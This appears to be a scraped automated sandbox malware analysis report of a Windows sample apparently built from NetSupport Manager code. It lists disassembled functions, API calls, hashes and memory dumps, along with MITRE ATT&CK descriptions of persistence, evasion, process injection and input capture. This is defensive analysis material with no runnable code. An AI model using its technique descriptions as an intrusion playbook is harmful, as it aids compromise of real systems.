Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 1101417B
m_hWnd, xrefs: 11014180

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: dd98e714131f01e1e3e9502ddc8d4ea3022c80635d59d6fdd5c37ba5f3223207
Instruction ID: 2522c449d059071d808e86b76c7b4b43721457dd443dfec71d59ac38f3b9efb9
Opcode Fuzzy Hash: dd98e714131f01e1e3e9502ddc8d4ea3022c80635d59d6fdd5c37ba5f3223207
Instruction Fuzzy Hash: A0D0A735F9033576E6205591AC4BFC5B2985B04B49F104165F121B90C1D2A0B4408648

Uniqueness

Uniqueness Score: -1.00%

Function 11014820, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001004,00000000,00000000), ref: 1101484D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 1101482E
m_hWnd, xrefs: 11014833

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 8ac94b95f1832676c15134108c47446b33aa87dd6cfd329ef2cf2b7629d3235a
Instruction ID: 0da0c99d66379cc79c0dfa12855c83416e1e6f8243e474cfdbd33265e4c08c7f
Opcode Fuzzy Hash: 8ac94b95f1832676c15134108c47446b33aa87dd6cfd329ef2cf2b7629d3235a
Instruction Fuzzy Hash: 66D0A775E40366B7E6309591AC47FC6B2845B05718F004475F369BA4C0E2E0B4808658

Uniqueness

Uniqueness Score: -1.00%

Function 11113160, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32 ref: 1111316A
SendMessageA.USER32(00000000,00000414,1111EE7B,00000000), ref: 11113180

Strings

MSOfficeWClass, xrefs: 11113165

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FindMessageSendWindow
String ID: MSOfficeWClass
API String ID: 1741975844-970895155
Opcode ID: 677dd944a9b37f0d248d1dc2443b6c9e227fd66e90a00cd9b08d5884c152e529
Instruction ID: 2732a125022ff7c0da3ed2a920369edb2684b905192db69b753ec1fccd0d92f1
Opcode Fuzzy Hash: 677dd944a9b37f0d248d1dc2443b6c9e227fd66e90a00cd9b08d5884c152e529
Instruction Fuzzy Hash: FAD0127078430C77E6141AE1DE4EF96FB6C9744B65F004028F7159E4C5EAB4B44087BC

Uniqueness

Uniqueness Score: -1.00%

Function 110161B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

ImageList_GetImageCount.COMCTL32 ref: 110161CF

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\imagelst.h, xrefs: 110161BA
m_hImageList, xrefs: 110161BF

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Image$CountErrorExitLastList_MessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\imagelst.h$m_hImageList
API String ID: 3979668856-4007669474
Opcode ID: 7e0d59d6d3c0ea1f021620d87c473adee649be5d7cc0ac9c58f617f8560ff774
Instruction ID: da6b7ee7688318b2dcaecae8c32772a12d0a8ac3ffe856306cb0240b92e991ba
Opcode Fuzzy Hash: 7e0d59d6d3c0ea1f021620d87c473adee649be5d7cc0ac9c58f617f8560ff774
Instruction Fuzzy Hash: 99D02230E40136ABC3209A94BC02BC9B3886F05208F0C0465F06256040E6B468808A84

Uniqueness

Uniqueness Score: -1.00%

Function 111100D0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,00000000,11009162,?,?,?,?,00000000,00000000,00000000,?,Show,Monitor,00000000,00000000), ref: 111100F4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

this->hReadyEvent, xrefs: 111100E3
..\ctl32\Refcount.cpp, xrefs: 111100DE

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorEventExitLastMessageProcesswsprintf
String ID: ..\ctl32\Refcount.cpp$this->hReadyEvent
API String ID: 2400454052-4183089485
Opcode ID: 4b22ea46bdd503ae8f9c5b08486a64ba336daf28115d2eb9ea5a5faf497afeb0
Instruction ID: 41d86d8e6b2fa9399a940e20fae9938a479a885d6893b5e9ee770bdda361f714
Opcode Fuzzy Hash: 4b22ea46bdd503ae8f9c5b08486a64ba336daf28115d2eb9ea5a5faf497afeb0
Instruction Fuzzy Hash: D4D01231E80736AFD7209AE5AC05BD6F3B85B04315F044539F012A6584DAB0A4458BE5

Uniqueness

Uniqueness Score: -1.00%

Function 1100D8B0, Relevance: 5.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(111EDE2C,00000000,?,?,1100C26B,00000000,00000000), ref: 1100D8BF
LeaveCriticalSection.KERNEL32(111EDE2C,?,?,1100C26B,00000000,00000000), ref: 1100D930

Part of subcall function 1100D820: EnterCriticalSection.KERNEL32(111EDE2C,1100CB7A,?,1100B5DC,?,00000000,?,1100CB7A,?), ref: 1100D829
Part of subcall function 1100D820: LeaveCriticalSection.KERNEL32(111EDE2C,1100B5DC,?,00000000,?,1100CB7A,?), ref: 1100D8A1

LeaveCriticalSection.KERNEL32(111EDE2C), ref: 1100D8FF
LeaveCriticalSection.KERNEL32(111EDE2C), ref: 1100D91B

Part of subcall function 1100D7D0: EnterCriticalSection.KERNEL32(111EDE2C,1100C4FB), ref: 1100D7D5
Part of subcall function 1100D7D0: LeaveCriticalSection.KERNEL32(111EDE2C), ref: 1100D80F

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 10c14cb9c45534fd9ad9362a8b8fd8fef3d09697d59f75ad4657c47dcd1b45a9
Instruction ID: 024bf54fe56583fc36b1911af5d7f6a9c338d46169c8d4f8be6289797e831c79
Opcode Fuzzy Hash: 10c14cb9c45534fd9ad9362a8b8fd8fef3d09697d59f75ad4657c47dcd1b45a9
Instruction Fuzzy Hash: 52018835E0113C6BEB00DBE9ED4D5ADB7A9EB04B9AB4001A6FD18D3A04E631AD0087E1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report iumk21HlC8

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Function 0110D42A, Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 197
filesleeptimeCOMMON

Function 01109D9A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Function 010FA534, Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Function 01117363, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Function 010F8525, Relevance: 3.9, APIs: 2, Instructions: 945
COMMONCrypto

Function 0110EEB3, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Function 0110AE20, Relevance: 100.5, APIs: 48, Strings: 9, Instructions: 724
COMMON

Function 0110002D, Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 317
libraryfileloaderCOMMON

Function 010FD281, Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 555
COMMON

Function 0110C9E2, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Function 0110CC9F, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 178
windowCOMMON

Function 0110C3AB, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135
COMMON

Function 01119ED8, Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Function 0110A245, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
COMMON

Function 010F9950, Relevance: 7.6, APIs: 5, Instructions: 116
filetimeCOMMON

Function 0110ABC4, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Function 0110A2B3, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Function 0110D104, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Function 010F97EE, Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Function 0111A374, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMON

Function 011007E7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Function 010F9E6F, Relevance: 4.6, APIs: 3, Instructions: 107
fileCOMMON

Function 010FA147, Relevance: 4.6, APIs: 3, Instructions: 56
COMMON

Function 0110D163, Relevance: 4.5, APIs: 3, Instructions: 25
synchronizationwindowCOMMON

Function 0111AE73, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Function 0111A5AC, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Function 0110A4C4, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Function 0111A54A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Function 0111A3EF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Function 011130D7, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
COMMON

Function 0111B1D0, Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Function 010F13B6, Relevance: 3.1, APIs: 2, Instructions: 97
COMMON

Function 010F13B1, Relevance: 3.1, APIs: 2, Instructions: 95
COMMON

Function 0111B007, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Function 010F96BE, Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Function 010F9CA2, Relevance: 3.1, APIs: 2, Instructions: 82
timeCOMMON

Function 0111A2D8, Relevance: 3.1, APIs: 2, Instructions: 65
libraryloaderCOMMON

Function 010F9AF5, Relevance: 3.1, APIs: 2, Instructions: 57
COMMON

Function 010F9D80, Relevance: 3.1, APIs: 2, Instructions: 54
COMMON

Function 01118486, Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Function 01100866, Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

